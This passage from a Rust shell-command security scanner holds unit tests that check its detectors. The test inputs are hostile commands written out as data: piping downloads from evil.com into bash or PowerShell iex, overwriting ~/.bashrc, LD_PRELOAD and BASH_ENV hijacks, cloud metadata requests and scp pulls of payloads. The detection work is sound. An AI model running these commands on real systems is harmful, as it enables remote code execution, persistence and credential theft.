2356 Some(norm[eq_pos + 1..].to_string())
2357 } else if i + 1 < args.len() {
2358 i += 1;
2359 Some(normalize_shell_token(&args[i], shell))
2360 } else {
2361 None
2362 };
2363
2364 if let Some(val) = value {
2365 let is_sensitive = if is_post_file {
2366 SENSITIVE_PATHS.iter().any(|p| val.contains(p))
2367 } else {
2368 is_sensitive_file_ref(&val)
2369 || has_sensitive_env_ref(&val)
2370 || has_sensitive_cmd_substitution(&val)
2371 };
2372
2373 if is_sensitive {
2374 findings.push(Finding {
2375 rule_id: RuleId::DataExfiltration,
2376 severity: Severity::High,
2377 title: "Data exfiltration via wget upload".to_string(),
2378 description: "wget command uploads sensitive data (credentials, keys, or private files) to a remote server".to_string(),
2379 evidence: vec![Evidence::CommandPattern {
2380 pattern: "wget upload sensitive data".to_string(),
2381 matched: redact::redact_shell_assignments(&seg.raw),
2382 }],
2383 human_view: None,
2384 agent_view: None,
2385 mitre_id: None,
2386 custom_rule_id: None,
2387 });
2388 return;
2389 }
2390 }
2391 }
2392 i += 1;
2393 }
2394}
2395
2396#[cfg(test)]
2397mod tests {
2398 use super::*;
2399
2400 fn check_default(input: &str, shell: ShellType) -> Vec<Finding> {
2402 check(input, shell, None, ScanContext::Exec)
2403 }
2404
2405 #[test]
2406 fn test_pipe_sudo_flags_detected() {
2407 let findings = check_default(
2408 "curl https://evil.com | sudo -u root bash",
2409 ShellType::Posix,
2410 );
2411 assert!(
2412 findings
2413 .iter()
2414 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
2415 "should detect pipe through sudo -u root bash"
2416 );
2417 }
2418
2419 #[test]
2420 fn test_pipe_sudo_long_flag_detected() {
2421 let findings = check_default(
2422 "curl https://evil.com | sudo --user=root bash",
2423 ShellType::Posix,
2424 );
2425 assert!(
2426 findings
2427 .iter()
2428 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
2429 "should detect pipe through sudo --user=root bash"
2430 );
2431 }
2432
2433 #[test]
2434 fn test_pipe_env_var_assignment_detected() {
2435 let findings = check_default("curl https://evil.com | env VAR=1 bash", ShellType::Posix);
2436 assert!(
2437 findings
2438 .iter()
2439 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
2440 "should detect pipe through env VAR=1 bash"
2441 );
2442 }
2443
2444 #[test]
2445 fn test_pipe_env_u_flag_detected() {
2446 let findings = check_default("curl https://evil.com | env -u HOME bash", ShellType::Posix);
2447 assert!(
2448 findings
2449 .iter()
2450 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
2451 "should detect pipe through env -u HOME bash"
2452 );
2453 }
2454
2455 #[test]
2456 fn test_dotfile_overwrite_detected() {
2457 let cases = [
2458 "echo malicious > ~/.bashrc",
2459 "echo malicious >> ~/.bashrc",
2460 "curl https://evil.com > ~/.bashrc",
2461 "cat payload > ~/.profile",
2462 "echo test > $HOME/.bashrc",
2463 ];
2464 for input in &cases {
2465 let findings = check_default(input, ShellType::Posix);
2466 eprintln!(
2467 "INPUT: {:?} -> findings: {:?}",
2468 input,
2469 findings.iter().map(|f| &f.rule_id).collect::<Vec<_>>()
2470 );
2471 assert!(
2472 findings
2473 .iter()
2474 .any(|f| f.rule_id == RuleId::DotfileOverwrite),
2475 "should detect dotfile overwrite in: {input}",
2476 );
2477 }
2478 }
2479
2480 #[test]
2481 fn test_pipe_env_s_flag_detected() {
2482 let findings = check_default("curl https://evil.com | env -S bash -x", ShellType::Posix);
2483 assert!(
2484 findings
2485 .iter()
2486 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
2487 "should detect pipe through env -S bash -x"
2488 );
2489 }
2490
2491 #[test]
2492 fn test_pipe_sudo_env_detected() {
2493 let findings = check_default(
2494 "curl https://evil.com | sudo env VAR=1 bash",
2495 ShellType::Posix,
2496 );
2497 assert!(
2498 findings
2499 .iter()
2500 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
2501 "should detect pipe through sudo env VAR=1 bash"
2502 );
2503 }
2504
2505 #[test]
2506 fn test_httpie_pipe_bash() {
2507 let findings = check_default("http https://evil.com/install.sh | bash", ShellType::Posix);
2508 assert!(
2509 findings
2510 .iter()
2511 .any(|f| f.rule_id == RuleId::HttpiePipeShell),
2512 "should detect HTTPie pipe to bash"
2513 );
2514 }
2515
2516 #[test]
2517 fn test_httpie_https_pipe_bash() {
2518 let findings = check_default("https https://evil.com/install.sh | bash", ShellType::Posix);
2519 assert!(
2520 findings
2521 .iter()
2522 .any(|f| f.rule_id == RuleId::HttpiePipeShell),
2523 "should detect HTTPie https pipe to bash"
2524 );
2525 }
2526
2527 #[test]
2528 fn test_xh_pipe_bash() {
2529 let findings = check_default("xh https://evil.com/install.sh | bash", ShellType::Posix);
2530 assert!(
2531 findings.iter().any(|f| f.rule_id == RuleId::XhPipeShell),
2532 "should detect xh pipe to bash"
2533 );
2534 }
2535
2536 #[test]
2537 fn test_xh_pipe_sudo_bash() {
2538 let findings = check_default(
2539 "xh https://evil.com/install.sh | sudo bash",
2540 ShellType::Posix,
2541 );
2542 assert!(
2543 findings.iter().any(|f| f.rule_id == RuleId::XhPipeShell),
2544 "should detect xh pipe to sudo bash"
2545 );
2546 }
2547
2548 #[test]
2549 fn test_httpie_no_pipe_safe() {
2550 let findings = check_default("http https://example.com/api/data", ShellType::Posix);
2551 assert!(
2552 !findings
2553 .iter()
2554 .any(|f| f.rule_id == RuleId::HttpiePipeShell),
2555 "HTTPie without pipe should not trigger"
2556 );
2557 }
2558
2559 #[test]
2560 fn test_xh_no_pipe_safe() {
2561 let findings = check_default("xh https://example.com/api/data", ShellType::Posix);
2562 assert!(
2563 !findings.iter().any(|f| f.rule_id == RuleId::XhPipeShell),
2564 "xh without pipe should not trigger"
2565 );
2566 }
2567
2568 #[test]
2569 fn test_export_ld_preload() {
2570 let findings = check_default("export LD_PRELOAD=/evil/lib.so", ShellType::Posix);
2571 assert!(
2572 findings
2573 .iter()
2574 .any(|f| f.rule_id == RuleId::CodeInjectionEnv),
2575 "should detect LD_PRELOAD export"
2576 );
2577 }
2578
2579 #[test]
2580 fn test_export_bash_env() {
2581 let findings = check_default("export BASH_ENV=/tmp/evil.sh", ShellType::Posix);
2582 assert!(
2583 findings
2584 .iter()
2585 .any(|f| f.rule_id == RuleId::ShellInjectionEnv),
2586 "should detect BASH_ENV export"
2587 );
2588 }
2589
2590 #[test]
2591 fn test_export_pythonpath() {
2592 let findings = check_default("export PYTHONPATH=/evil/modules", ShellType::Posix);
2593 assert!(
2594 findings
2595 .iter()
2596 .any(|f| f.rule_id == RuleId::InterpreterHijackEnv),
2597 "should detect PYTHONPATH export"
2598 );
2599 }
2600
2601 #[test]
2602 fn test_export_openai_key() {
2603 let findings = check_default("export OPENAI_API_KEY=sk-abc123", ShellType::Posix);
2604 assert!(
2605 findings
2606 .iter()
2607 .any(|f| f.rule_id == RuleId::SensitiveEnvExport),
2608 "should detect OPENAI_API_KEY export"
2609 );
2610 }
2611
2612 #[test]
2613 fn test_export_path_safe() {
2614 let findings = check_default("export PATH=/usr/bin:$PATH", ShellType::Posix);
2615 assert!(
2616 !findings.iter().any(|f| matches!(
2617 f.rule_id,
2618 RuleId::CodeInjectionEnv
2619 | RuleId::ShellInjectionEnv
2620 | RuleId::InterpreterHijackEnv
2621 | RuleId::SensitiveEnvExport
2622 )),
2623 "export PATH should not trigger env var detection"
2624 );
2625 }
2626
2627 #[test]
2628 fn test_env_ld_preload_cmd() {
2629 let findings = check_default(
2630 "env LD_PRELOAD=/evil/lib.so /usr/bin/target",
2631 ShellType::Posix,
2632 );
2633 assert!(
2634 findings
2635 .iter()
2636 .any(|f| f.rule_id == RuleId::CodeInjectionEnv),
2637 "should detect LD_PRELOAD via env command"
2638 );
2639 }
2640
2641 #[test]
2642 fn test_curl_metadata_endpoint() {
2643 let findings = check_default(
2644 "curl http://169.254.169.254/latest/meta-data",
2645 ShellType::Posix,
2646 );
2647 assert!(
2648 findings
2649 .iter()
2650 .any(|f| f.rule_id == RuleId::MetadataEndpoint),
2651 "should detect AWS metadata endpoint"
2652 );
2653 }
2654
2655 #[test]
2656 fn test_curl_private_network() {
2657 let findings = check_default("curl http://10.0.0.1/internal/api", ShellType::Posix);
2658 assert!(
2659 findings
2660 .iter()
2661 .any(|f| f.rule_id == RuleId::PrivateNetworkAccess),
2662 "should detect private network access"
2663 );
2664 }
2665
2666 #[test]
2667 fn test_curl_public_ip_safe() {
2668 let findings = check_default("curl http://8.8.8.8/dns-query", ShellType::Posix);
2669 assert!(
2670 !findings.iter().any(|f| matches!(
2671 f.rule_id,
2672 RuleId::MetadataEndpoint | RuleId::PrivateNetworkAccess
2673 )),
2674 "public IP should not trigger network destination detection"
2675 );
2676 }
2677
2678 #[test]
2679 fn test_metadata_bare_ip() {
2680 let findings = check_default("curl 169.254.169.254/latest/meta-data", ShellType::Posix);
2681 assert!(
2682 findings
2683 .iter()
2684 .any(|f| f.rule_id == RuleId::MetadataEndpoint),
2685 "should detect bare IP metadata endpoint"
2686 );
2687 }
2688
2689 #[test]
2690 fn test_extract_host_from_url() {
2691 assert_eq!(
2692 extract_host_from_arg("http://169.254.169.254/latest"),
2693 Some("169.254.169.254".to_string())
2694 );
2695 assert_eq!(
2696 extract_host_from_arg("http://10.0.0.1:8080/api"),
2697 Some("10.0.0.1".to_string())
2698 );
2699 assert_eq!(
2700 extract_host_from_arg("169.254.169.254/path"),
2701 Some("169.254.169.254".to_string())
2702 );
2703 assert_eq!(
2704 extract_host_from_arg("8.8.8.8"),
2705 Some("8.8.8.8".to_string())
2706 );
2707 assert_eq!(extract_host_from_arg("-H"), None);
2708 assert_eq!(extract_host_from_arg("output.txt"), None);
2709 }
2710
2711 #[test]
2712 fn test_network_policy_deny_exact() {
2713 let deny = vec!["evil.com".to_string()];
2714 let allow = vec![];
2715 let findings = check_network_policy(
2716 "curl https://evil.com/data",
2717 ShellType::Posix,
2718 &deny,
2719 &allow,
2720 );
2721 assert_eq!(findings.len(), 1);
2722 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2723 }
2724
2725 #[test]
2726 fn test_network_policy_deny_subdomain() {
2727 let deny = vec!["evil.com".to_string()];
2728 let allow = vec![];
2729 let findings = check_network_policy(
2730 "wget https://sub.evil.com/data",
2731 ShellType::Posix,
2732 &deny,
2733 &allow,
2734 );
2735 assert_eq!(findings.len(), 1);
2736 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2737 }
2738
2739 #[test]
2740 fn test_network_policy_deny_cidr() {
2741 let deny = vec!["10.0.0.0/8".to_string()];
2742 let allow = vec![];
2743 let findings =
2744 check_network_policy("curl http://10.1.2.3/api", ShellType::Posix, &deny, &allow);
2745 assert_eq!(findings.len(), 1);
2746 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2747 }
2748
2749 #[test]
2750 fn test_network_policy_allow_exempts() {
2751 let deny = vec!["evil.com".to_string()];
2752 let allow = vec!["safe.evil.com".to_string()];
2753 let findings = check_network_policy(
2754 "curl https://safe.evil.com/data",
2755 ShellType::Posix,
2756 &deny,
2757 &allow,
2758 );
2759 assert_eq!(findings.len(), 0, "allow list should exempt from deny");
2760 }
2761
2762 #[test]
2763 fn test_network_policy_no_match() {
2764 let deny = vec!["evil.com".to_string()];
2765 let allow = vec![];
2766 let findings = check_network_policy(
2767 "curl https://example.com/data",
2768 ShellType::Posix,
2769 &deny,
2770 &allow,
2771 );
2772 assert_eq!(findings.len(), 0);
2773 }
2774
2775 #[test]
2776 fn test_network_policy_empty_deny() {
2777 let deny = vec![];
2778 let allow = vec![];
2779 let findings =
2780 check_network_policy("curl https://evil.com", ShellType::Posix, &deny, &allow);
2781 assert_eq!(
2782 findings.len(),
2783 0,
2784 "empty deny list should produce no findings"
2785 );
2786 }
2787
2788 #[test]
2789 fn test_cidr_contains() {
2790 assert_eq!(cidr_contains("10.0.0.1", "10.0.0.0/8"), Some(true));
2791 assert_eq!(cidr_contains("10.255.255.255", "10.0.0.0/8"), Some(true));
2792 assert_eq!(cidr_contains("11.0.0.1", "10.0.0.0/8"), Some(false));
2793 assert_eq!(cidr_contains("192.168.1.1", "192.168.0.0/16"), Some(true));
2794 assert_eq!(cidr_contains("192.169.1.1", "192.168.0.0/16"), Some(false));
2795 assert_eq!(cidr_contains("not-an-ip", "10.0.0.0/8"), None);
2796 assert_eq!(cidr_contains("10.0.0.1", "invalid"), None);
2797 }
2798
2799 #[test]
2800 fn test_matches_network_list_hostname() {
2801 let list = vec!["evil.com".to_string(), "bad.org".to_string()];
2802 assert!(matches_network_list("evil.com", &list));
2803 assert!(matches_network_list("sub.evil.com", &list));
2804 assert!(!matches_network_list("notevil.com", &list));
2805 assert!(!matches_network_list("good.com", &list));
2806 }
2807
2808 #[test]
2809 fn test_flag_value_url_detected_in_network_policy() {
2810 let deny = vec!["evil.com".to_string()];
2811 let allow = vec![];
2812 let findings = check_network_policy(
2813 "curl --url=http://evil.com/data",
2814 ShellType::Posix,
2815 &deny,
2816 &allow,
2817 );
2818 assert_eq!(findings.len(), 1, "should detect denied host in --flag=URL");
2819 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2820 }
2821
2822 #[test]
2823 fn test_network_policy_catches_scp_host_path() {
2824 let deny = vec!["evil.com".to_string()];
2827 let allow = vec![];
2828 let findings = check_network_policy(
2829 "scp evil.com:/payload /tmp/out",
2830 ShellType::Posix,
2831 &deny,
2832 &allow,
2833 );
2834 assert_eq!(
2835 findings.len(),
2836 1,
2837 "scp host:path must be visible to network_deny"
2838 );
2839 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2840 }
2841
2842 #[test]
2843 fn test_network_policy_catches_scp_user_at_host_path() {
2844 let deny = vec!["evil.com".to_string()];
2845 let allow = vec![];
2846 let findings = check_network_policy(
2847 "scp user@evil.com:/payload /tmp/out",
2848 ShellType::Posix,
2849 &deny,
2850 &allow,
2851 );
2852 assert_eq!(findings.len(), 1);
2853 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2854 }
2855
2856 #[test]
2857 fn test_network_policy_catches_rsync_host_path() {
2858 let deny = vec!["evil.com".to_string()];
2859 let allow = vec![];
2860 let findings = check_network_policy(
2861 "rsync -av src evil.com:/dest/",
2862 ShellType::Posix,
2863 &deny,
2864 &allow,
2865 );
2866 assert_eq!(findings.len(), 1);
2867 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2868 }
2869
2870 #[test]
2871 fn test_network_policy_scp_allow_exempts() {
2872 let deny = vec!["evil.com".to_string()];
2874 let allow = vec!["evil.com".to_string()];
2875 let findings = check_network_policy(
2876 "scp evil.com:/payload /tmp/out",
2877 ShellType::Posix,
2878 &deny,
2879 &allow,
2880 );
2881 assert!(findings.is_empty());
2882 }
2883
2884 #[test]
2885 fn test_network_policy_catches_sudo_wrapped_curl() {
2886 let deny = vec!["evil.com".to_string()];
2887 let allow = vec![];
2888 let findings = check_network_policy(
2889 "sudo curl https://evil.com/payload -o /tmp/out",
2890 ShellType::Posix,
2891 &deny,
2892 &allow,
2893 );
2894 assert_eq!(findings.len(), 1);
2895 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2896 }
2897
2898 #[test]
2899 fn test_network_policy_catches_sudo_wrapped_scp() {
2900 let deny = vec!["evil.com".to_string()];
2901 let allow = vec![];
2902 let findings = check_network_policy(
2903 "sudo scp evil.com:/payload /tmp/out",
2904 ShellType::Posix,
2905 &deny,
2906 &allow,
2907 );
2908 assert_eq!(findings.len(), 1);
2909 assert_eq!(findings[0].rule_id, RuleId::CommandNetworkDeny);
2910 }
2911
2912 #[test]
2913 fn test_network_policy_catches_sudo_u_flagged_curl() {
2914 let deny = vec!["evil.com".to_string()];
2916 let allow = vec![];
2917 let findings = check_network_policy(
2918 "sudo -u nobody curl https://evil.com/payload",
2919 ShellType::Posix,
2920 &deny,
2921 &allow,
2922 );
2923 assert_eq!(findings.len(), 1);
2924 }
2925
2926 #[test]
2927 fn test_network_policy_catches_doas_wrapped_curl() {
2928 let deny = vec!["evil.com".to_string()];
2929 let allow = vec![];
2930 let findings = check_network_policy(
2931 "doas curl https://evil.com/payload",
2932 ShellType::Posix,
2933 &deny,
2934 &allow,
2935 );
2936 assert_eq!(findings.len(), 1);
2937 }
2938
2939 #[test]
2940 fn test_network_policy_catches_env_wrapped_curl() {
2941 let deny = vec!["evil.com".to_string()];
2942 let allow = vec![];
2943 let findings = check_network_policy(
2944 "env curl https://evil.com/payload",
2945 ShellType::Posix,
2946 &deny,
2947 &allow,
2948 );
2949 assert_eq!(findings.len(), 1);
2950 }
2951
2952 #[test]
2953 fn test_network_policy_catches_env_with_assignment_curl() {
2954 let deny = vec!["evil.com".to_string()];
2955 let allow = vec![];
2956 let findings = check_network_policy(
2957 "env FOO=1 curl https://evil.com/payload",
2958 ShellType::Posix,
2959 &deny,
2960 &allow,
2961 );
2962 assert_eq!(findings.len(), 1);
2963 }
2964
2965 #[test]
2966 fn test_network_policy_catches_time_wrapped_curl() {
2967 let deny = vec!["evil.com".to_string()];
2968 let allow = vec![];
2969 let findings = check_network_policy(
2970 "time curl https://evil.com/payload",
2971 ShellType::Posix,
2972 &deny,
2973 &allow,
2974 );
2975 assert_eq!(findings.len(), 1);
2976 }
2977
2978 #[test]
2979 fn test_network_policy_catches_command_wrapped_curl() {
2980 let deny = vec!["evil.com".to_string()];
2981 let allow = vec![];
2982 let findings = check_network_policy(
2983 "command curl https://evil.com/payload",
2984 ShellType::Posix,
2985 &deny,
2986 &allow,
2987 );
2988 assert_eq!(findings.len(), 1);
2989 }
2990
2991 #[test]
2992 fn test_flag_value_url_metadata_endpoint() {
2993 let findings = check(
2994 "curl --url=http://169.254.169.254/latest/meta-data",
2995 ShellType::Posix,
2996 None,
2997 ScanContext::Exec,
2998 );
2999 assert!(
3000 findings
3001 .iter()
3002 .any(|f| f.rule_id == RuleId::MetadataEndpoint),
3003 "should detect metadata endpoint in --flag=URL"
3004 );
3005 }
3006
3007 #[test]
3008 fn test_flag_value_url_private_network() {
3009 let findings = check(
3010 "curl --url=http://10.0.0.1/internal",
3011 ShellType::Posix,
3012 None,
3013 ScanContext::Exec,
3014 );
3015 assert!(
3016 findings
3017 .iter()
3018 .any(|f| f.rule_id == RuleId::PrivateNetworkAccess),
3019 "should detect private network in --flag=URL"
3020 );
3021 }
3022
3023 #[test]
3024 fn test_strip_port_unbracketed_ipv6() {
3025 assert_eq!(strip_port("fe80::1"), "fe80::1");
3026 }
3027
3028 #[test]
3029 fn test_vet_not_configured_fires_without_supply_chain() {
3030 let dir = tempfile::tempdir().unwrap();
3031 let cwd = dir.path().to_str().unwrap();
3032 let findings = check(
3033 "cargo install serde_json",
3034 ShellType::Posix,
3035 Some(cwd),
3036 ScanContext::Exec,
3037 );
3038 assert!(findings
3039 .iter()
3040 .any(|f| f.rule_id == RuleId::VetNotConfigured));
3041 }
3042
3043 #[test]
3044 fn test_vet_not_configured_suppressed_with_supply_chain() {
3045 let dir = tempfile::tempdir().unwrap();
3046 let sc_dir = dir.path().join("supply-chain");
3047 std::fs::create_dir_all(&sc_dir).unwrap();
3048 std::fs::write(sc_dir.join("config.toml"), "").unwrap();
3049 let cwd = dir.path().to_str().unwrap();
3050 let findings = check(
3051 "cargo install serde_json",
3052 ShellType::Posix,
3053 Some(cwd),
3054 ScanContext::Exec,
3055 );
3056 assert!(!findings
3057 .iter()
3058 .any(|f| f.rule_id == RuleId::VetNotConfigured));
3059 }
3060
3061 #[test]
3062 fn test_vet_not_configured_skips_non_install() {
3063 let dir = tempfile::tempdir().unwrap();
3064 let cwd = dir.path().to_str().unwrap();
3065 let findings = check(
3066 "cargo build",
3067 ShellType::Posix,
3068 Some(cwd),
3069 ScanContext::Exec,
3070 );
3071 assert!(!findings
3072 .iter()
3073 .any(|f| f.rule_id == RuleId::VetNotConfigured));
3074 }
3075
3076 #[test]
3077 fn test_vet_detects_cargo_with_flags() {
3078 let dir = tempfile::tempdir().unwrap();
3079 let cwd = dir.path().to_str().unwrap();
3080 let f1 = check(
3081 "cargo --locked install serde",
3082 ShellType::Posix,
3083 Some(cwd),
3084 ScanContext::Exec,
3085 );
3086 assert!(f1.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
3087 let f2 = check(
3088 "cargo +nightly add tokio",
3089 ShellType::Posix,
3090 Some(cwd),
3091 ScanContext::Exec,
3092 );
3093 assert!(f2.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
3094 let f3 = check(
3095 "cargo -Z sparse-registry install serde",
3096 ShellType::Posix,
3097 Some(cwd),
3098 ScanContext::Exec,
3099 );
3100 assert!(f3.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
3101 }
3102
3103 #[test]
3104 fn test_vet_skipped_in_paste_context() {
3105 let dir = tempfile::tempdir().unwrap();
3106 let cwd = dir.path().to_str().unwrap();
3107 let findings = check(
3108 "cargo install serde_json",
3109 ShellType::Posix,
3110 Some(cwd),
3111 ScanContext::Paste,
3112 );
3113 assert!(!findings
3114 .iter()
3115 .any(|f| f.rule_id == RuleId::VetNotConfigured));
3116 }
3117
3118 #[test]
3119 fn test_vet_no_false_positive_on_non_install_subcommand() {
3120 let dir = tempfile::tempdir().unwrap();
3121 let cwd = dir.path().to_str().unwrap();
3122 let f1 = check(
3123 "cargo test --package add",
3124 ShellType::Posix,
3125 Some(cwd),
3126 ScanContext::Exec,
3127 );
3128 assert!(!f1.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
3129 let f2 = check(
3130 "cargo build install",
3131 ShellType::Posix,
3132 Some(cwd),
3133 ScanContext::Exec,
3134 );
3135 assert!(!f2.iter().any(|f| f.rule_id == RuleId::VetNotConfigured));
3136 }
3137
3138 #[test]
3139 fn test_vet_detects_cargo_exe_windows_path() {
3140 let dir = tempfile::tempdir().unwrap();
3141 let cwd = dir.path().to_str().unwrap();
3142 let f1 = check(
3143 r"C:\Users\dev\.cargo\bin\cargo.exe install serde",
3144 ShellType::PowerShell,
3145 Some(cwd),
3146 ScanContext::Exec,
3147 );
3148 assert!(
3149 f1.iter().any(|f| f.rule_id == RuleId::VetNotConfigured),
3150 "should detect cargo.exe with Windows backslash path"
3151 );
3152 let f2 = check(
3153 r"C:\Users\dev\.cargo\bin\CARGO.EXE install serde",
3154 ShellType::PowerShell,
3155 Some(cwd),
3156 ScanContext::Exec,
3157 );
3158 assert!(
3159 f2.iter().any(|f| f.rule_id == RuleId::VetNotConfigured),
3160 "should detect CARGO.EXE case-insensitively"
3161 );
3162 }
3163
3164 #[test]
3165 fn test_normalize_ansi_c_basic() {
3166 assert_eq!(normalize_shell_token("$'bash'", ShellType::Posix), "bash");
3167 }
3168
3169 #[test]
3170 fn test_normalize_ansi_c_hex() {
3171 assert_eq!(
3172 normalize_shell_token("$'\\x62\\x61\\x73\\x68'", ShellType::Posix),
3173 "bash"
3174 );
3175 }
3176
3177 #[test]
3178 fn test_normalize_ansi_c_octal() {
3179 assert_eq!(
3180 normalize_shell_token("$'\\142\\141\\163\\150'", ShellType::Posix),
3181 "bash"
3182 );
3183 }
3184
3185 #[test]
3186 fn test_normalize_ansi_c_octal_leading_zero() {
3187 assert_eq!(
3189 normalize_shell_token("$'\\057bin\\057bash'", ShellType::Posix),
3190 "/bin/bash"
3191 );
3192 }
3193
3194 #[test]
3195 fn test_normalize_ansi_c_bare_zero() {
3196 assert_eq!(normalize_shell_token("$'a\\0b'", ShellType::Posix), "a\0b");
3198 }
3199
3200 #[test]
3201 fn test_normalize_ansi_c_unicode() {
3202 assert_eq!(
3203 normalize_shell_token("$'\\u0062ash'", ShellType::Posix),
3204 "bash"
3205 );
3206 }
3207
3208 #[test]
3209 fn test_normalize_double_quotes() {
3210 assert_eq!(normalize_shell_token("\"bash\"", ShellType::Posix), "bash");
3211 }
3212
3213 #[test]
3214 fn test_normalize_cmd_caret_inside_double_quotes() {
3215 assert_eq!(normalize_shell_token("\"c^md\"", ShellType::Cmd), "cmd");
3216 }
3217
3218 #[test]
3219 fn test_normalize_single_quotes() {
3220 assert_eq!(normalize_shell_token("'bash'", ShellType::Posix), "bash");
3221 }
3222
3223 #[test]
3224 fn test_normalize_backslash() {
3225 assert_eq!(normalize_shell_token("ba\\sh", ShellType::Posix), "bash");
3226 }
3227
3228 #[test]
3229 fn test_normalize_empty_concat() {
3230 assert_eq!(normalize_shell_token("ba''sh", ShellType::Posix), "bash");
3231 }
3232
3233 #[test]
3234 fn test_normalize_mixed_concat() {
3235 assert_eq!(normalize_shell_token("'ba'sh", ShellType::Posix), "bash");
3236 }
3237
3238 #[test]
3239 fn test_normalize_powershell_backtick() {
3240 assert_eq!(
3241 normalize_shell_token("`i`e`x", ShellType::PowerShell),
3242 "iex"
3243 );
3244 }
3245
3246 #[test]
3247 fn test_normalize_unclosed_single_quote() {
3248 let result = normalize_shell_token("'bash", ShellType::Posix);
3250 assert_eq!(result, "bash");
3251 }
3252
3253 #[test]
3254 fn test_normalize_unclosed_double_quote() {
3255 let result = normalize_shell_token("\"bash", ShellType::Posix);
3256 assert_eq!(result, "bash");
3257 }
3258
3259 #[test]
3260 fn test_cmd_base_path() {
3261 assert_eq!(
3262 normalize_cmd_base("/usr/bin/bash", ShellType::Posix),
3263 "bash"
3264 );
3265 }
3266
3267 #[test]
3268 fn test_cmd_base_ansi_c() {
3269 assert_eq!(normalize_cmd_base("$'bash'", ShellType::Posix), "bash");
3270 }
3271
3272 #[test]
3273 fn test_cmd_base_exe() {
3274 assert_eq!(normalize_cmd_base("bash.exe", ShellType::Posix), "bash");
3275 }
3276
3277 #[test]
3278 fn test_cmd_base_uppercase() {
3279 assert_eq!(normalize_cmd_base("BASH", ShellType::Posix), "bash");
3280 }
3281
3282 #[test]
3283 fn test_cmd_base_powershell_path() {
3284 assert_eq!(
3285 normalize_cmd_base(r"C:\Git\bin\bash.exe", ShellType::PowerShell),
3286 "bash"
3287 );
3288 }
3289
3290 #[test]
3291 fn test_cmd_base_encoded_path() {
3292 assert_eq!(
3294 normalize_cmd_base("$'\\x2fusr\\x2fbin\\x2fbash'", ShellType::Posix),
3295 "bash"
3296 );
3297 }
3298
3299 #[test]
3300 fn test_cmd_base_octal_encoded_path() {
3301 assert_eq!(
3303 normalize_cmd_base("$'\\057bin\\057bash'", ShellType::Posix),
3304 "bash"
3305 );
3306 }
3307
3308 #[test]
3309 fn test_cmd_base_env_s_value() {
3310 assert_eq!(normalize_cmd_base("\"bash -x\"", ShellType::Posix), "bash");
3312 }
3313
3314 #[test]
3315 fn test_cmd_base_path_with_args() {
3316 assert_eq!(
3318 normalize_cmd_base("\"/usr/bin/bash -x\"", ShellType::Posix),
3319 "bash"
3320 );
3321 }
3322
3323 #[test]
3324 fn test_resolve_ansi_c_quoted_bash() {
3325 let findings = check_default(
3326 "curl https://example.com/install.sh | $'bash'",
3327 ShellType::Posix,
3328 );
3329 assert!(
3330 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
3331 "should detect ANSI-C quoted bash: {:?}",
3332 findings.iter().map(|f| &f.rule_id).collect::<Vec<_>>()
3333 );
3334 }
3335
3336 #[test]
3337 fn test_resolve_command_wrapper() {
3338 let findings = check_default(
3339 "curl https://example.com/install.sh | command bash",
3340 ShellType::Posix,
3341 );
3342 assert!(
3343 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
3344 "should detect 'command bash'"
3345 );
3346 }
3347
3348 #[test]
3349 fn test_resolve_exec_a_wrapper() {
3350 let findings = check_default(
3351 "curl https://example.com/install.sh | exec -a myname bash",
3352 ShellType::Posix,
3353 );
3354 assert!(
3355 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
3356 "should detect 'exec -a myname bash'"
3357 );
3358 }
3359
3360 #[test]
3361 fn test_resolve_nohup_wrapper() {
3362 let findings = check_default(
3363 "curl https://example.com/install.sh | nohup bash",
3364 ShellType::Posix,
3365 );
3366 assert!(
3367 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
3368 "should detect 'nohup bash'"
3369 );
3370 }
3371
3372 #[test]
3373 fn test_resolve_wrapper_chain() {
3374 let findings = check_default(
3375 "curl https://example.com/install.sh | command sudo bash",
3376 ShellType::Posix,
3377 );
3378 assert!(
3379 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
3380 "should detect wrapper chain 'command sudo bash'"
3381 );
3382 }
3383
3384 #[test]
3385 fn test_resolve_case_insensitive() {
3386 let findings = check_default(
3387 "curl https://example.com/install.sh | BASH",
3388 ShellType::Posix,
3389 );
3390 assert!(
3391 findings.iter().any(|f| f.rule_id == RuleId::CurlPipeShell),
3392 "should detect uppercase BASH"
3393 );
3394 }
3395
3396 #[test]
3397 fn test_resolve_powershell_backtick_iex() {
3398 let findings = check_default(
3399 "iwr https://evil.com/script.ps1 | `i`e`x",
3400 ShellType::PowerShell,
3401 );
3402 assert!(
3403 findings
3404 .iter()
3405 .any(|f| f.rule_id == RuleId::PipeToInterpreter),
3406 "should detect PowerShell backtick-escaped iex"
3407 );
3408 }
3409
3410 #[test]
3411 fn test_pipe_to_interpreter_hint_with_url() {
3412 let input = "curl https://example.com/install.sh | bash";
3413 let segments = tokenize::tokenize(input, ShellType::Posix);
3414 let mut findings = Vec::new();
3415 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3416 assert_eq!(findings.len(), 1);
3417 assert!(
3418 findings[0]
3419 .description
3420 .contains("https://example.com/install.sh"),
3421 "should include extracted URL in hint"
3422 );
3423 assert!(
